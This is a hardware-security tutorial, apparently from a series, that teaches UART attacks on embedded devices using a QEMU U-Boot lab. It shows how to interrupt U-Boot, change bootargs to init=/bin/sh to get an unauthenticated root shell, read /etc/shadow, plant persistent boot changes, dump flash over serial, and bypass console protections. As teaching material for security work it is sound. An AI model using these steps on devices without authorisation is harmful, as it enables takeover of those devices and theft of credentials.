The first three tutorials in this series used software-only tools: Buildroot for images, QEMU for emulation, Ghidra for reverse engineering. Real embedded devices have physical interfaces that are equally valuable to an attacker, and the most universally present one is UART.
UART (Universal Asynchronous Receiver/Transmitter) is a serial communication interface found on virtually every embedded device: routers, cameras, smart home gear, industrial controllers, automotive ECUs. Manufacturers use it during development for debugging and diagnostics, then leave it on the production board because removing it costs more than ignoring it. The result is a root shell hidden behind a few solder pads on nearly every device you’ll encounter.
This tutorial covers the full UART attack workflow: identifying the interface, connecting to it, extracting boot information, interrupting the bootloader for shell access, and using serial to dump memory. We use QEMU’s serial emulation for hands-on practice, with guidance on translating each technique to physical hardware.
UART attack workflow:
Physical device QEMU equivalent
┌─────────────┐ ┌─────────────┐
│ Find UART │ │ -serial flag │
│ pins on PCB │ │ on QEMU cmd │
├─────────────┤ ├─────────────┤
│ Connect │ │ Connect with │
│ USB-TTL │ │ minicom/ │
│ adapter │ │ picocom │
├─────────────┤ ├─────────────┤
│ Capture │ │ Capture │
│ boot log │◄──── same ───────►│ boot log │
├─────────────┤ techniques ├─────────────┤
│ Interrupt │ │ Interrupt │
│ U-Boot │ │ U-Boot │
├─────────────┤ ├─────────────┤
│ Root shell │ │ Root shell │
└─────────────┘ └─────────────┘What is UART?
UART is the simplest serial protocol in embedded systems. It uses two data lines (TX and RX) plus a ground reference, with no clock signal, both sides agree on a baud rate (speed) in advance.
UART connection:
Device Adapter (USB-TTL)
┌──────┐ ┌──────┐
│ TX ──┼──────────────────┼── RX │
│ RX ──┼──────────────────┼── TX │
│ GND ─┼──────────────────┼── GND│
│ VCC │ (do NOT connect │ VCC │
└──────┘ VCC to adapter)└──────┘Key parameters:
| Parameter | Common value | Notes |
|---|---|---|
| Baud rate | 115200 | Most common; also check 9600, 57600, 38400 |
| Data bits | 8 | Almost always 8 |
| Parity | None | Rarely used in embedded |
| Stop bits | 1 | Standard |
| Flow control | None | Hardware flow control is rare on debug UARTs |
Warning
Voltage levels Embedded UART is typically 3.3V logic. Connecting a 5V USB-TTL adapter directly can damage the device. Always verify voltage before connecting to physical hardware. In QEMU, this isn’t a concern.
Setting up the QEMU serial lab
Build an ARM image with U-Boot as the bootloader using Buildroot. If you completed the cross-compiling tutorial, you already have most of this.
Note
Why this lab uses
vexpress-a9notversatilepbThe other ARM tutorials in this series targetversatilepb(ARM926, no NX, useful for shellcode labs). This one usesvexpress-a9(Cortex-A9) because Buildroot ships a complete U-Boot defconfig (vexpress_ca9x4) for it, and the U-Boot serial console behaviour is closer to what you see on real hardware. If you want to reuse one tree across both labs, keep two separateoutput/directories or two Buildroot checkouts — the kernel configs are not interchangeable.
Buildroot configuration
cd ~/buildroot
make qemu_arm_vexpress_defconfig
make menuconfigIn menuconfig, ensure these are enabled:
- Bootloaders → U-Boot, enables U-Boot as the bootloader
- Bootloaders → U-Boot → Board defconfig, set to
vexpress_ca9x4 - System configuration → Root password, set to something known (e.g.,
root) - Target packages → BusyBox, should be enabled by default
make -j$(nproc)This produces:
output/images/u-boot, the U-Boot bootloader binaryoutput/images/zImage, the Linux kerneloutput/images/rootfs.ext2, the root filesystemoutput/images/vexpress-v2p-ca9.dtb, the device tree
Launching QEMU with serial console
qemu-system-arm \
-M vexpress-a9 \
-m 256M \
-kernel output/images/u-boot \
-drive file=output/images/rootfs.ext2,if=sd,format=raw \
-dtb output/images/vexpress-v2p-ca9.dtb \
-nographic \
-serial mon:stdioThe -nographic -serial mon:stdio flags redirect QEMU’s serial port to your terminal. You’ll see U-Boot output immediately:
U-Boot 2023.04 (Mar 17 2026 - 10:00:00 +0000)
DRAM: 256 MiB
...
Hit any key to stop autoboot: 3This is the same output you’d see on a physical device’s UART, the serial console is the primary interface for U-Boot and early Linux boot.
Capturing the boot log
The boot log reveals critical information about the device: kernel version, command-line arguments, loaded modules, mount points, and running services. On a real device, this information isn’t visible without a serial connection.
Recording the session
Use script or tee to save the output:
qemu-system-arm ... -serial mon:stdio 2>&1 | tee boot_log.txtOr use minicom with logging:
minicom -D /dev/pts/X -b 115200 -C boot_log.txtWhat to look for in the boot log
Valuable information in a typical embedded boot log:
U-Boot stage:
- U-Boot version → known vulnerability lookup
- Board name and hardware info
- Boot arguments (bootargs) → filesystem type, root device
- Environment variables → passwords, keys, server addresses
- Memory map → RAM layout
Linux kernel stage:
- Kernel version → CVE lookup
- Command line → init process, root filesystem, debug options
- Mounted filesystems → writable partitions
- Loaded kernel modules → attack surface
- Network configuration → listening interfaces
Init/service stage:
- Running daemons → attack surface enumeration
- Configuration paths → target files for post-exploitation
- Error messages → misconfigurations, missing filesExample boot log analysis:
U-Boot> printenv
bootargs=console=ttyAMA0,115200 root=/dev/mmcblk0 rw rootfstype=ext2
ethaddr=52:54:00:12:34:56
ipaddr=192.168.1.1
serverip=192.168.1.100
bootcmd=run bootcmd_mmc0In this Buildroot/QEMU lab the SD image is a single ext2 filesystem on /dev/mmcblk0, mounted read-write, and the console is on serial port ttyAMA0 at 115200 baud. The serverip might indicate a TFTP server used for firmware updates: a potential pivot point.
Interrupting U-Boot
U-Boot has a configurable autoboot delay (typically 1-5 seconds). If you press a key during this window, you drop into the U-Boot command shell: a powerful interface that runs before the operating system and any of its security measures.
Getting the U-Boot shell
Watch for the autoboot countdown:
Hit any key to stop autoboot: 3Press any key. You get the U-Boot prompt:
U-Boot>What you can do from U-Boot
U-Boot runs at the highest privilege level with full hardware access. Useful commands:
# Print all environment variables (often contains credentials, IPs)
U-Boot> printenv
# Print memory map
U-Boot> bdinfo
# Read memory at address
U-Boot> md.b 0x60000000 0x100
# Read the first few blocks of the MMC-backed image into RAM
U-Boot> mmc dev 0
U-Boot> mmc read 0x62000000 0x0 0x8
# Modify boot arguments to get a root shell without password
U-Boot> setenv bootargs console=ttyAMA0,115200 root=/dev/mmcblk0 rw init=/bin/sh
U-Boot> run bootcmdThe init=/bin/sh trick is devastating: by changing the kernel’s init process from /sbin/init to /bin/sh, the system boots directly into a root shell, bypassing all authentication, startup scripts, and security daemons.
Normal boot: Modified boot:
kernel → /sbin/init kernel → /bin/sh
→ mounts filesystems → root shell immediately
→ starts services → no authentication
→ login prompt → full filesystem access
→ requires passwordModifying boot arguments
# Original bootargs
U-Boot> printenv bootargs
bootargs=console=ttyAMA0,115200 root=/dev/mmcblk0 rw
# Override init to get a shell
U-Boot> setenv bootargs console=ttyAMA0,115200 root=/dev/mmcblk0 rw init=/bin/sh
# Boot with modified arguments
U-Boot> run bootcmdAfter the kernel boots:
/ # whoami
root
/ # cat /etc/shadow
root:$6$....:18000:0:99999:7:::Tip
On a physical device, if U-Boot is password-protected or the autoboot delay is set to 0, you may need to use hardware techniques (JTAG, glitching, or flash modification) to bypass it. In QEMU, you control the U-Boot configuration directly.
Saving changes persistently
# Save modified environment to flash (persistent across reboots)
U-Boot> saveenv
Saving Environment to MMC... OK
# Reset to boot with new settings
U-Boot> resetOn a real device, saveenv writes to the device’s non-volatile storage. This persists your changes through power cycles: an attacker who gets U-Boot access once can install a persistent backdoor by modifying the boot environment.
Dumping Storage Over Serial
In the QEMU lab, the easiest target is the MMC-backed disk image you already booted from. On physical hardware, the same workflow often applies to SPI flash, NAND, or NOR instead.
Reading Storage from U-Boot
# QEMU lab: read 4 KiB (8 x 512-byte sectors) from the start of the MMC image
U-Boot> mmc dev 0
U-Boot> mmc read 0x62000000 0x0 0x8
# Physical-device variants
U-Boot> sf probe
U-Boot> sf read 0x62000000 0x0 0x1000000
# For NAND flash:
U-Boot> nand read 0x62000000 0x0 0x1000000Transferring data over serial
Serial is slow (115200 baud ≈ 11.5 KB/s), but it works when no other interface is available.
Method 1: Memory dump with md
# Hex dump memory (very slow, but universal)
U-Boot> md.b 0x62000000 0x1000000Capture the output, then convert the hex dump back to binary on your host:
# On host: convert hex dump to binary
cat uart_dump.txt | grep "^[0-9a-f]" | \
awk '{for(i=2;i<=NF && i<=17;i++) printf "%s", $i}' | \
xxd -r -p > flash_dump.binMethod 2: XMODEM/YMODEM transfer
If U-Boot was compiled with XMODEM support:
U-Boot> loady 0x62000000
# Then use minicom's "Send file" with YMODEM protocolMethod 3: TFTP (if network is available)
Much faster than serial:
# On your host, start a TFTP server
sudo apt install tftpd-hpa
# Configure /etc/default/tftpd-hpa
# In U-Boot
U-Boot> setenv serverip 192.168.1.100
U-Boot> tftpput 0x62000000 0x1000000 flash_dump.binAnalyzing the dump
Once you have the flash dump, use the same binwalk workflow from the firmware RE tutorial:
binwalk flash_dump.bin
binwalk -e flash_dump.binThe flash dump gives you everything the firmware update file contains, plus device-specific data: calibration values, configuration, stored credentials, and potentially encryption keys.
Identifying UART on physical hardware
This section describes how to find UART on a real device. You can’t practice this in QEMU, but understanding the physical process is essential for embedded security work.
Visual identification
Look for:
- 4-pin headers, often labeled TX, RX, GND, VCC (or just 4 bare pads)
- Test points, labeled TP1, TP2, etc., near the SoC
- Unpopulated headers, 4 holes in a row with solder pads but no pins installed
Common UART pin layouts on PCBs:
Layout A (header): Layout B (pads): Layout C (inline):
┌─┐ ┌─┐ ┌─┐ ┌─┐ ● ● ● ● ┌──┐
│V│ │T│ │R│ │G│ V T R G │VCC│──●
│C│ │X│ │X│ │N│ │ TX│──●
│C│ │ │ │ │ │D│ │ RX│──●
└─┘ └─┘ └─┘ └─┘ │GND│──●
└──┘Electrical identification
Use a multimeter to identify pins:
- GND, continuity to a known ground point (USB shield, metal chassis, ground plane)
- VCC, reads 3.3V or 5V relative to GND (steady voltage)
- TX, fluctuating voltage during boot (data being transmitted), settles to high (idle state) after boot
- RX, steady voltage, usually pulled high (idle, waiting for input)
Logic analyzer
A logic analyzer (like the $10 Saleae Logic clone) definitively identifies UART:
- Connect channels to suspected TX and RX pins
- Power on the device
- Look for asynchronous serial data patterns
- Auto-detect baud rate from the timing
Baud rate detection
If you connect but see garbage characters, the baud rate is wrong. Try common rates:
# Try each common baud rate
for baud in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "Trying $baud..."
picocom -b $baud /dev/ttyUSB0
# Press Ctrl+A, Ctrl+X to exit
doneOn a logic analyzer, measure the width of the narrowest pulse in the UART signal. The baud rate is 1 / pulse_width. For example, a 8.68µs pulse width = 115200 baud.
UART security countermeasures
Some manufacturers attempt to secure the UART interface:
Disabled console output
The kernel is booted with console= set to nothing, or the serial console is not compiled into the kernel. Boot messages don’t appear.
Bypass: Interrupt U-Boot (which runs before the kernel) and change the bootargs to add console=ttyS0,115200.
U-Boot password protection
U-Boot supports password-protecting the console:
U-Boot> setenv bootdelay -2
U-Boot> setenv bootstopkeysha256 <sha256_hash>
U-Boot> saveenvBypass: Dump the flash chip directly (SPI clip or desoldering), extract the U-Boot environment, find or crack the password, or modify the environment to remove the protection.
Console disabled in production
The UART TX/RX traces are cut or the console is disabled in the device tree.
Bypass: Trace the PCB to find where the signal was cut, bridge it with a wire, or connect directly to the SoC’s UART pins (requires board schematics or careful probing).
Root password on serial login
The serial console presents a login prompt that requires a password.
Bypass: Interrupt U-Boot and modify init=/bin/sh, or extract the firmware and crack the password hash from /etc/shadow.
Practical exercise
Using the QEMU lab:
- Boot the Buildroot image and capture the full boot log
- Identify the kernel version, root filesystem type, and all mounted partitions
- Interrupt U-Boot and list all environment variables
- Modify bootargs to boot with
init=/bin/shand get a root shell - From the U-Boot shell, read the first 4KB of the MMC-backed image and examine it with
md.b - Extract the root password hash from
/etc/shadowvia theinit=/bin/shshell
Each of these steps mirrors exactly what you’d do on a physical device connected via a USB-TTL adapter: the QEMU serial console behaves identically to real hardware UART.